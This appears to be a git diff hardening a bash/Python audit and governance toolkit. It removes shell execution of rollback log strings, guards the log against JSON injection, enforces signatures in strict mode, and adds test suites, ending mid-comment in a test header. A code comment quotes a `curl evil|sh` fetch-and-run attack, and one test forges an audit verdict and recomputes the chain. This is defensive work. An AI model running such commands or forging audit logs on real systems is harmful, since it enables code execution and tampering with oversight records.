- "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY' import json, sys log, ts, tx, target, cmd, backup = sys.argv[1:] +# SEC-03: `op` + backup/target are the STRUCTURED, executable form. rollback_command +# is kept only as a human-readable / audit string — `execute` never shell-runs it. rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint", - "target": target, "backup": backup, "rollback_command": cmd, "status": "recorded"} + "op": "restore_file", "target": target, "backup": backup, + "rollback_command": cmd, "status": "recorded"} open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n") PY echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET" @@ -50,8 +53,17 @@ if [[ "$MODE" == "record" ]]; then fi TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")" TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" - printf '{"timestamp":"%s","transaction_id":"%s","action":"%s","rollback_command":"%s","status":"recorded"}\n' \ - "$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" >> "$TX_LOG" + # SEC-03/SEC-05: serialize via json.dumps so `action`/`rollback_command` cannot + # inject a second forged JSON record (a raw printf let a `"`+newline break out). + # Note: a free-form `record` entry has no structured `op`, so `execute` REFUSES + # to run it — free-form rollback commands are audit-only, never executed. + python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" <<'PY' +import json, sys +log, ts, tx, action, cmd = sys.argv[1:] +rec = {"timestamp": ts, "transaction_id": tx, "action": action, + "rollback_command": cmd, "status": "recorded"} +open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n") +PY echo "ROLLBACK_RECORDED transaction_id=$TX_ID" exit 0 fi @@ -62,23 +74,54 @@ if [[ "$MODE" == "execute" ]]; then echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2 exit 1 fi - COMMAND="$(python - "$TX_LOG" "$TX_ID" <<'PY' -import json, sys -for line in open(sys.argv[1], encoding="utf-8"): - rec=json.loads(line) - if rec.get("transaction_id")==sys.argv[2]: - print(rec.get("rollback_command","")) - break + # SEC-03 (H-03): NEVER `bash -c` a string read from the (unsigned) tx log — that + # was arbitrary remote code execution (append `curl evil|sh` -> executed). Only a + # STRUCTURED, whitelisted op is honored. The one safe op today is "restore_file": + # copy our own backup back over the target, performed in Python via argv (no shell), + # and only when the source lives inside our controlled backup dir. + PRC=0 + RESTORED="$(python - "$TX_LOG" "$TX_ID" "$BACKUP_DIR" <<'PY' +import json, os, shutil, sys +log, tx, backup_dir = sys.argv[1], sys.argv[2], os.path.realpath(sys.argv[3]) +rec = None +for line in open(log, encoding="utf-8"): + line = line.strip() + if not line: + continue + try: + r = json.loads(line) + except ValueError: + continue # malformed line: ignore, fail-closed later + if r.get("transaction_id") == tx and r.get("action") == "checkpoint": + rec = r # last checkpoint for this tx wins +if not rec: + sys.stderr.write("no_structured_checkpoint\n"); sys.exit(3) +op = rec.get("op") or ("restore_file" if rec.get("backup") and rec.get("target") else "") +backup = os.path.realpath(rec.get("backup", "")) +target = rec.get("target", "") +if op != "restore_file" or not backup or not target: + sys.stderr.write("not_a_whitelisted_restore_op\n"); sys.exit(4) +# A forged record cannot point the restore SOURCE at an arbitrary file. +if not (backup == backup_dir or backup.startswith(backup_dir + os.sep)): + sys.stderr.write("backup_outside_controlled_dir\n"); sys.exit(5) +if not os.path.isfile(backup): + sys.stderr.write("backup_missing\n"); sys.exit(6) +shutil.copyfile(backup, target) # argv copy — no shell interpretation +sys.stdout.write(target) PY -)" - if [[ -z "$COMMAND" ]]; then - echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2 +)" || PRC=$? + if [[ "$PRC" -ne 0 ]]; then + echo "ROLLBACK_REFUSED transaction_id=$TX_ID reason=no_structured_restore_op (rc=$PRC)" >&2 exit 1 fi - bash -c "$COMMAND" TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" - printf '{"timestamp":"%s","transaction_id":"%s","status":"rolled_back"}\n' "$TIMESTAMP" "$TX_ID" >> "$TX_LOG" - echo "ROLLBACK_EXECUTED transaction_id=$TX_ID" + python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" <<'PY' +import json, sys +log, ts, tx = sys.argv[1:] +open(log, "a", encoding="utf-8").write( + json.dumps({"timestamp": ts, "transaction_id": tx, "status": "rolled_back"}) + "\n") +PY + echo "ROLLBACK_EXECUTED transaction_id=$TX_ID target=$RESTORED" exit 0 fi diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/security-check.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/security-check.sh index fcc082e..51e224f 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/security-check.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/security-check.sh @@ -253,8 +253,14 @@ if [[ "$MODE" == "input" ]]; then # silent skip. Off by default so CI without a model stays non-strict. # * CASAN_SEMANTIC_CLASSIFY=1 (non-strict) — best-effort. On model outage we # keep the regex verdict but log SEMANTIC_SKIPPED loudly (no silent pass). + # SEC-17 (ARCH-03): strict is ON when explicitly set, OR unset under prod profile + # (secure-by-default). An explicit CASAN_SECURITY_STRICT=0 (internal scans) wins. + STRICT_ON=0 + if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || ( -z "${CASAN_SECURITY_STRICT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then + STRICT_ON=1 + fi SEMANTIC_REQUIRED=0 - if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || "${CASAN_SEMANTIC_CLASSIFY:-0}" == "1" ]]; then + if [[ "$STRICT_ON" == "1" || "${CASAN_SEMANTIC_CLASSIFY:-0}" == "1" ]]; then SEMANTIC_REQUIRED=1 fi if [[ "$STATUS" != "blocked" && "$SEMANTIC_REQUIRED" == "1" ]]; then @@ -271,7 +277,7 @@ if [[ "$MODE" == "input" ]]; then MATCHED_RULES+=("semantic-injection") elif [[ -z "$SEM_VERDICT" ]]; then # Model unreachable / no usable verdict. - if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" ]]; then + if [[ "$STRICT_ON" == "1" ]]; then STATUS="blocked"; ACTION="block"; RISK_LEVEL="high" MATCHED_RULES+=("semantic-strict-unavailable") casan_log error security "SEMANTIC_STRICT_FAIL_CLOSED trace_id=$TRACE_ID reason=model_unavailable action=block" diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/telemetry-integrity.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/telemetry-integrity.sh index e6ea6d4..8fbdf98 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/telemetry-integrity.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/telemetry-integrity.sh @@ -97,6 +97,16 @@ case "$CMD" in fi echo "TELEMETRY_INTEGRITY_VALID anchor=signed head=$HEAD_STORED" else + # SEC-01 (H-01): enforced mode treats a missing/unverifiable signature as FAIL, + # otherwise deleting telemetry-head.sig after rewriting token counts would pass. + if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then + MISSING="" + [[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig" + [[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey" + command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl" + echo "TELEMETRY_INTEGRITY_UNSIGNED_STRICT_FAIL head=$HEAD_STORED missing=${MISSING# }" >&2 + exit 1 + fi echo "TELEMETRY_INTEGRITY_VALID anchor=unsigned head=$HEAD_STORED" fi ;; diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/test-integrity.py b/AINative_OKR_CASAN5/.specify/scripts/bash/test-integrity.py new file mode 100644 index 0000000..624433d --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/test-integrity.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python3 +"""CASAN Plan-16 SEC-18 (ARCH-02) — test-integrity manifest. + +The test suites live in the same repo an attacker can edit, so "280/0 green" proves +nothing if a fail-able adversarial check was quietly deleted or weakened. This tool +records, per suite, its content hash and its number of fail-able checks, into a +manifest whose head is signed with an OFF-REPO key. CI then re-verifies: + + * a manifested suite that DISAPPEARED -> FAIL (suite removed) + * a suite whose fail-able-check count DROPPED -> FAIL (coverage regression) + * (enforced mode) an invalid/absent manifest signature -> FAIL (manifest tampered) + +Adding checks/suites is fine (regenerate the manifest); only REMOVING coverage fails. + +Usage: + test-integrity.py generate # write + sign the manifest + test-integrity.py verify [--strict] # re-check; exit 1 on regression/tamper + +Env: CASAN_TESTS_DIR, CASAN_TEST_MANIFEST, CASAN_TI_KEY_DIR, CASAN_TI_PUB, + CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature). +""" +import argparse +import glob +import hashlib +import json +import os +import re +import shutil +import subprocess +import sys + +# A "fail-able check" is any assertion call site. Phase suites use `pass "..."`; +# the adversarial suite uses `expect_rc "..."`. Counting these makes deleting +# or short-circuiting a check reduce the number. +CHECK_RE = re.compile(r'(?:(? str: + return os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "..")) + + +def tests_dir() -> str: + return os.environ.get("CASAN_TESTS_DIR") or os.path.join(project_root(), ".specify/tests") + + +def manifest_path() -> str: + return os.environ.get("CASAN_TEST_MANIFEST") or os.path.join(tests_dir(), "test-integrity-manifest.json") + + +def _enforced() -> bool: + return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1" + + +def suite_files(): + d = tests_dir() + files = [] + for pat in ("phase*.sh", "adversarial*.sh", "run-casan*.sh"): + files.extend(glob.glob(os.path.join(d, pat))) + # Exclude the integrity suite itself to avoid a self-reference cycle. + return sorted(f for f in files if os.path.basename(f) != "phase-sec18-tests.sh") + + +def scan(path): + data = open(path, "rb").read() + text = data.decode("utf-8", errors="replace") + checks = len(CHECK_RE.findall(text)) + return {"sha256": hashlib.sha256(data).hexdigest(), "checks": checks} + + +def build_manifest(): + suites = {os.path.basename(f): scan(f) for f in suite_files()} + total = sum(s["checks"] for s in suites.values()) + return {"suites": suites, "total_checks": total, "suite_count": len(suites)} + + +def manifest_head(manifest) -> str: + core = json.dumps(manifest["suites"], sort_keys=True, separators=(",", ":")) + return hashlib.sha256(core.encode()).hexdigest() + + +# --- signing (off-repo key; pubkey provisioned out-of-band / KMS in prod) ------ +def _priv(): + d = os.environ.get("CASAN_TI_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys") + return os.path.join(d, "test-integrity-private.pem") + + +def _pub(): + return os.environ.get("CASAN_TI_PUB") or (manifest_path() + ".pub") + + +def _sig(): + return manifest_path() + ".sig" + + +def _head_file(): + return manifest_path() + ".head" + + +def sign(manifest): + head = manifest_head(manifest) + open(_head_file(), "w", encoding="utf-8").write(head) + ossl = shutil.which("openssl") + if not ossl: + return + priv, pub = _priv(), _pub() + os.makedirs(os.path.dirname(priv), exist_ok=True) + if not os.path.isfile(priv): + subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", "-out", priv], + capture_output=True) + try: + os.chmod(priv, 0o600) + except OSError: + pass + os.makedirs(os.path.dirname(pub) or ".", exist_ok=True) + subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True) + subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", _sig(), _head_file()], capture_output=True) + + +def check_signature(manifest): + ossl = shutil.which("openssl") + if not (ossl and os.path.isfile(_head_file()) and os.path.isfile(_sig()) and os.path.isfile(_pub())): + return "unsigned" + if open(_head_file(), encoding="utf-8").read().strip() != manifest_head(manifest): + return "invalid" + res = subprocess.run([ossl, "dgst", "-sha256", "-verify", _pub(), "-signature", _sig(), _head_file()], + capture_output=True) + return "signed" if res.returncode == 0 else "invalid" + + +def do_generate(): + manifest = build_manifest() + with open(manifest_path(), "w", encoding="utf-8") as fh: + json.dump(manifest, fh, indent=2) + fh.write("\n") + sign(manifest) + print(f"TEST_INTEGRITY_GENERATED suites={manifest['suite_count']} total_checks={manifest['total_checks']}") + return 0 + + +def do_verify(strict): + mp = manifest_path() + if not os.path.isfile(mp): + # No manifest provisioned. Enforced mode fails closed; dev/CI skips cleanly. + if strict or _enforced(): + print("TEST_INTEGRITY_FAIL no_manifest_in_enforced_mode", file=sys.stderr) + return 1 + print("TEST_INTEGRITY_SKIP no manifest (run: test-integrity.py generate)") + return 0 + manifest = json.load(open(mp, encoding="utf-8")) + current = {os.path.basename(f): scan(f) for f in suite_files()} + + regressions = [] + for name, rec in manifest.get("suites", {}).items(): + if name not in current: + regressions.append(f"{name}:suite_removed") + elif current[name]["checks"] < rec["checks"]: + regressions.append(f"{name}:checks_dropped({rec['checks']}->{current[name]['checks']})") + + sig_state = check_signature(manifest) + if sig_state == "invalid": + print("TEST_INTEGRITY_FAIL manifest_signature_invalid", file=sys.stderr) + return 1 + if sig_state == "unsigned" and (strict or _enforced()): + print("TEST_INTEGRITY_FAIL manifest_unsigned_in_strict_mode", file=sys.stderr) + return 1 + + if regressions: + print("TEST_INTEGRITY_FAIL coverage_regression " + " ".join(regressions), file=sys.stderr) + return 1 + + cur_total = sum(v["checks"] for k, v in current.items() if k in manifest.get("suites", {})) + print(f"TEST_INTEGRITY_OK suites={len(manifest.get('suites', {}))} " + f"manifest_checks={manifest.get('total_checks')} current_checks={cur_total} anchor={sig_state}") + return 0 + + +def main() -> int: + ap = argparse.ArgumentParser() + sub = ap.add_subparsers(dest="cmd", required=True) + sub.add_parser("generate") + v = sub.add_parser("verify") + v.add_argument("--strict", action="store_true") + args = ap.parse_args() + if args.cmd == "generate": + return do_generate() + if args.cmd == "verify": + return do_verify(args.strict) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/verify-audit-chain.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/verify-audit-chain.sh index 52cc44f..24acbd6 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/verify-audit-chain.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/verify-audit-chain.sh @@ -84,5 +84,20 @@ if [[ -f "$HEAD_FILE" && -f "$HEAD_SIG" && -f "$AUDIT_PUB" ]] && command -v open fi echo "AUDIT_CHAIN_VALID anchor=signed last_hash=$COMPUTED_HEAD" else + # SEC-01 (H-01): in enforced mode a missing/unverifiable signature is a FAILURE, + # not "valid unsigned". Otherwise deleting audit-head.sig (or the pubkey) after + # tampering + recomputing the chain would pass verification. Permissive mode + # (dev default) keeps the previous unsigned-OK behaviour. Self-contained check + # (this script is copied into sandboxes by tests, so it must not source common.sh): + # CASAN_PROFILE=prod (SEC-17) enables all enforce flags; CASAN_VERIFY_STRICT=1 this one. + if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then + MISSING="" + [[ -f "$HEAD_FILE" ]] || MISSING="$MISSING head-file" + [[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig" + [[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey" + command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl" + echo "AUDIT_CHAIN_UNSIGNED_STRICT_FAIL last_hash=$COMPUTED_HEAD missing=${MISSING# }" >&2 + exit 1 + fi echo "AUDIT_CHAIN_VALID anchor=unsigned last_hash=$COMPUTED_HEAD" fi diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/verify-tool-audit.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/verify-tool-audit.sh index 968a09e..f8cf6c1 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/verify-tool-audit.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/verify-tool-audit.sh @@ -56,5 +56,16 @@ if [[ -f "$HEAD_FILE" && -f "$HEAD_SIG" && -f "$AUDIT_PUB" ]] && command -v open fi echo "TOOL_AUDIT_VALID anchor=signed last_hash=$COMPUTED_HEAD" else + # SEC-01 (H-01): enforced mode treats a missing/unverifiable signature as FAIL. + # Self-contained (this script is copied into sandboxes by tests — no common.sh). + if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then + MISSING="" + [[ -f "$HEAD_FILE" ]] || MISSING="$MISSING head-file" + [[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig" + [[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey" + command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl" + echo "TOOL_AUDIT_UNSIGNED_STRICT_FAIL last_hash=$COMPUTED_HEAD missing=${MISSING# }" >&2 + exit 1 + fi echo "TOOL_AUDIT_VALID anchor=unsigned last_hash=$COMPUTED_HEAD" fi diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec01-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec01-tests.sh new file mode 100644 index 0000000..ee51a91 --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec01-tests.sh @@ -0,0 +1,150 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-01 (H-01) — "unsigned = FAIL" in enforced mode. +# +# Proves that verify-audit-chain / verify-tool-audit / telemetry-integrity / +# evidence-pack all treat a missing (or unverifiable) signature as a FAILURE when +# strict enforcement is on, while keeping the permissive dev default unchanged. +# Enforcement is triggered by either CASAN_VERIFY_STRICT=1 or CASAN_PROFILE=prod. +# +# Deterministic; no model/app/network. Hermetic: builds throwaway logs in a temp +# workspace; the telemetry case backs up + restores the real head artifacts. + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash" +WORK="$(mktemp -d)" + +# Back up telemetry head artifacts (fixed-path; the sign step mutates them). +L5_DIR="$PROJECT_ROOT/.specify/logs/level5" +TEL_BAK="$WORK/tel-bak"; mkdir -p "$TEL_BAK" +for f in telemetry-manifest.json telemetry-head.txt telemetry-head.sig; do + [[ -f "$L5_DIR/$f" ]] && cp -p "$L5_DIR/$f" "$TEL_BAK/$f" +done +restore_tel() { + for f in telemetry-manifest.json telemetry-head.txt telemetry-head.sig; do + if [[ -f "$TEL_BAK/$f" ]]; then cp -p "$TEL_BAK/$f" "$L5_DIR/$f"; else rm -f "$L5_DIR/$f"; fi + done +} +trap 'restore_tel; rm -rf "$WORK"' EXIT + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } + +# rc_of : run, print exit code, never abort. +rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; } + +echo "===== Plan-16 SEC-01: unsigned = FAIL in enforced mode =====" + +# --------------------------------------------------------------------------- +# 1) verify-audit-chain.sh — build a genuine unsigned chain (no head/sig files) +# --------------------------------------------------------------------------- +AUD_DIR="$WORK/audit"; mkdir -p "$AUD_DIR" +python3 - "$AUD_DIR/audit.jsonl" <<'PY' +import hashlib, json, sys +path = sys.argv[1] +prev = "" +core = "|".join(["2026-07-06T00:00:00Z", "t1", "act", "a@x", "low", "ALLOW", "n/a", "", "ih", "oh", prev]) +h = hashlib.sha256(core.encode()).hexdigest() +rec = {"timestamp":"2026-07-06T00:00:00Z","trace_id":"t1","action":"act","actor":"a@x", + "risk_level":"low","decision":"ALLOW","approval_status":"n/a","approver":"", + "input_hash":"ih","output_hash":"oh","previous_record_hash":prev,"record_hash":h} +open(path,"w").write(json.dumps(rec)+"\n") +PY + +RC="$(rc_of bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")" +[[ "$RC" -eq 0 ]] && pass "audit-chain: unsigned OK in permissive mode (rc=0)" \ + || fail "audit-chain: permissive mode should pass unsigned (rc=$RC)" + +RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")" +[[ "$RC" -ne 0 ]] && pass "audit-chain: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \ + || fail "audit-chain: strict flag did not fail unsigned (rc=$RC)" + +RC="$(rc_of env CASAN_PROFILE=prod bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")" +[[ "$RC" -ne 0 ]] && pass "audit-chain: unsigned FAILS with CASAN_PROFILE=prod (rc=$RC)" \ + || fail "audit-chain: prod profile did not fail unsigned (rc=$RC)" + +# Attack: tamper a field, recompute record_hash so the chain is internally valid, +# leave no signature. Strict must STILL fail (recompute does not save the forger). +python3 - "$AUD_DIR/audit.jsonl" <<'PY' +import hashlib, json, sys +path = sys.argv[1] +rec = json.loads(open(path).read().strip()) +rec["decision"] = "DENY_BYPASSED" # forge the verdict +prev = "" +core = "|".join([rec["timestamp"],rec["trace_id"],rec["action"],rec["actor"],rec["risk_level"], + rec["decision"],rec["approval_status"],rec["approver"],rec["input_hash"], + rec["output_hash"],prev]) +rec["record_hash"] = hashlib.sha256(core.encode()).hexdigest() # recompute → chain valid +open(path,"w").write(json.dumps(rec)+"\n") +PY +RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")" +[[ "$RC" -ne 0 ]] && pass "audit-chain: tamper+recompute+no-sig still FAILS in strict (rc=$RC)" \ + || fail "audit-chain: recomputed forged chain passed strict (rc=$RC)" + +# --------------------------------------------------------------------------- +# 2) verify-tool-audit.sh — genuine unsigned tool-calls chain +# --------------------------------------------------------------------------- +TOOL_DIR="$WORK/tool"; mkdir -p "$TOOL_DIR" +python3 - "$TOOL_DIR/tool-calls.jsonl" <<'PY' +import hashlib, json, sys +path = sys.argv[1] +prev = "" +rec = {"timestamp":"2026-07-06T00:00:00Z","tool":"bash","actor":"a@x","previous_record_hash":prev} +core = json.dumps(rec, sort_keys=True, separators=(",", ":")) +rec["record_hash"] = hashlib.sha256((prev + "|" + core).encode()).hexdigest() +open(path,"w").write(json.dumps(rec)+"\n") +PY + +RC="$(rc_of bash "$BASH_DIR/verify-tool-audit.sh" "$TOOL_DIR/tool-calls.jsonl")" +[[ "$RC" -eq 0 ]] && pass "tool-audit: unsigned OK in permissive mode (rc=0)" \ + || fail "tool-audit: permissive mode should pass unsigned (rc=$RC)" + +RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-tool-audit.sh" "$TOOL_DIR/tool-calls.jsonl")" +[[ "$RC" -ne 0 ]] && pass "tool-audit: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \ + || fail "tool-audit: strict flag did not fail unsigned (rc=$RC)" + +# --------------------------------------------------------------------------- +# 3) telemetry-integrity.sh — sign (unsigned, no key), then strict verify fails +# --------------------------------------------------------------------------- +# Force the keyless path so the head is written WITHOUT a signature. +env CASAN_AUDIT_PRIV="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" sign >/dev/null 2>&1 +RC="$(rc_of env CASAN_AUDIT_PUB="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" verify)" +[[ "$RC" -eq 0 ]] && pass "telemetry: unsigned OK in permissive mode (rc=0)" \ + || fail "telemetry: permissive mode should pass unsigned (rc=$RC)" +RC="$(rc_of env CASAN_VERIFY_STRICT=1 CASAN_AUDIT_PUB="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" verify)" +[[ "$RC" -ne 0 ]] && pass "telemetry: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \ + || fail "telemetry: strict flag did not fail unsigned (rc=$RC)" + +# --------------------------------------------------------------------------- +# 4) evidence-pack.sh verify-pack — build a valid unsigned pack (no .sig) +# --------------------------------------------------------------------------- +PACK_DIR="$WORK/pack"; mkdir -p "$PACK_DIR" +echo "hello evidence" > "$PACK_DIR/report.txt" +python3 - "$PACK_DIR" <<'PY' +import hashlib, json, os, sys +d = sys.argv[1] +files = {} +for fn in os.listdir(d): + p = os.path.join(d, fn) + if os.path.isfile(p): + files[fn] = hashlib.sha256(open(p,"rb").read()).hexdigest() +canonical = json.dumps(files, sort_keys=True, separators=(",", ":")) +head = hashlib.sha256(canonical.encode()).hexdigest() +json.dump({"files": files, "manifest_head": head}, open(os.path.join(d,"artifact-manifest.json"),"w")) +open(os.path.join(d,"manifest-head.txt"),"w").write(head) +PY + +RC="$(rc_of bash "$BASH_DIR/evidence-pack.sh" verify-pack testrun --dir "$PACK_DIR")" +[[ "$RC" -eq 0 ]] && pass "evidence-pack: unsigned OK in permissive mode (rc=0)" \ + || fail "evidence-pack: permissive mode should pass unsigned (rc=$RC)" + +RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/evidence-pack.sh" verify-pack testrun --dir "$PACK_DIR")" +[[ "$RC" -ne 0 ]] && pass "evidence-pack: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \ + || fail "evidence-pack: strict flag did not fail unsigned (rc=$RC)" + +echo "" +echo "===== SEC-01 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec02-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec02-tests.sh new file mode 100644 index 0000000..4d52830 --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec02-tests.sh @@ -0,0 +1,60 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-02 (H-02) — no local key auto-generation in enforced mode. +# +# The tamper-evidence of the audit chain rests on the head signature. If the +# signer auto-generates a private key next to the data (as dev convenience does), +# then any actor who can write the log can also mint a key and re-sign a forged +# head. In enforced mode the signer must NOT auto-generate — the key is provisioned +# out-of-band (KMS/HSM). This proves: +# * permissive mode still auto-generates a local key (dev convenience), +# * enforced mode does NOT create a key when none is provisioned, and the +# resulting unsigned head then FAILS strict verification (fail-closed). +# +# Deterministic; hermetic (temp key dir + backup/restore of audit + gov dirs). + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash" +WORK="$(mktemp -d)" + +BK="$WORK/bak"; mkdir -p "$BK" +cp -a "$PROJECT_ROOT/.specify/logs/audit" "$BK/audit" 2>/dev/null || true +cp -a "$PROJECT_ROOT/.specify/level5/central-governance" "$BK/cg" 2>/dev/null || true +restore() { + rm -rf "$PROJECT_ROOT/.specify/logs/audit"; cp -a "$BK/audit" "$PROJECT_ROOT/.specify/logs/audit" 2>/dev/null || true + rm -rf "$PROJECT_ROOT/.specify/level5/central-governance"; cp -a "$BK/cg" "$PROJECT_ROOT/.specify/level5/central-governance" 2>/dev/null || true +} +trap 'restore; rm -rf "$WORK"' EXIT + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } +rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; } + +echo "===== Plan-16 SEC-02: no local key auto-gen in enforced mode =====" +echo "benign input" > "$WORK/in.txt" + +# 1) Permissive mode: a fresh key dir auto-generates a local key (dev convenience). +KD1="$WORK/keys-permissive" +env CASAN_AUDIT_KEY_DIR="$KD1" bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out1.txt" agent_step >/dev/null 2>&1 +[[ -f "$KD1/audit-private.pem" ]] \ + && pass "permissive mode auto-generates a local signing key" \ + || fail "permissive mode did not auto-generate a key (dev convenience broken)" + +# 2) Enforced mode: a fresh key dir must NOT auto-generate a key. +KD2="$WORK/keys-enforced" +env CASAN_VERIFY_STRICT=1 CASAN_AUDIT_KEY_DIR="$KD2" bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out2.txt" agent_step >/dev/null 2>&1 +[[ ! -f "$KD2/audit-private.pem" ]] \ + && pass "enforced mode does NOT auto-generate a local key (H-02 closed)" \ + || fail "enforced mode auto-generated a local key (attacker could re-sign forgery)" + +# 3) The unsigned head produced in enforced mode fails strict verification. +[[ "$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh")" -ne 0 ]] \ + && pass "unsigned head from enforced run FAILS strict verify (fail-closed)" \ + || fail "unsigned head passed strict verify" + +echo "" +echo "===== SEC-02 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec03-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec03-tests.sh new file mode 100644 index 0000000..d225a5e --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec03-tests.sh @@ -0,0 +1,77 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-03 (H-03) — rollback-manager: no `bash -c`, structured argv only. +# +# The rollback `execute` path used to `bash -c "$rollback_command"` where the +# command was read from the unsigned transaction log — arbitrary code execution +# for anyone who can append a line. This proves: +# * a genuine checkpoint still restores the file (regression), +# * a forged free-form record with an RCE payload is REFUSED (not executed), +# * a forged structured record whose backup points outside the controlled +# backup dir is REFUSED (cannot copy an arbitrary source file). +# +# Deterministic; no 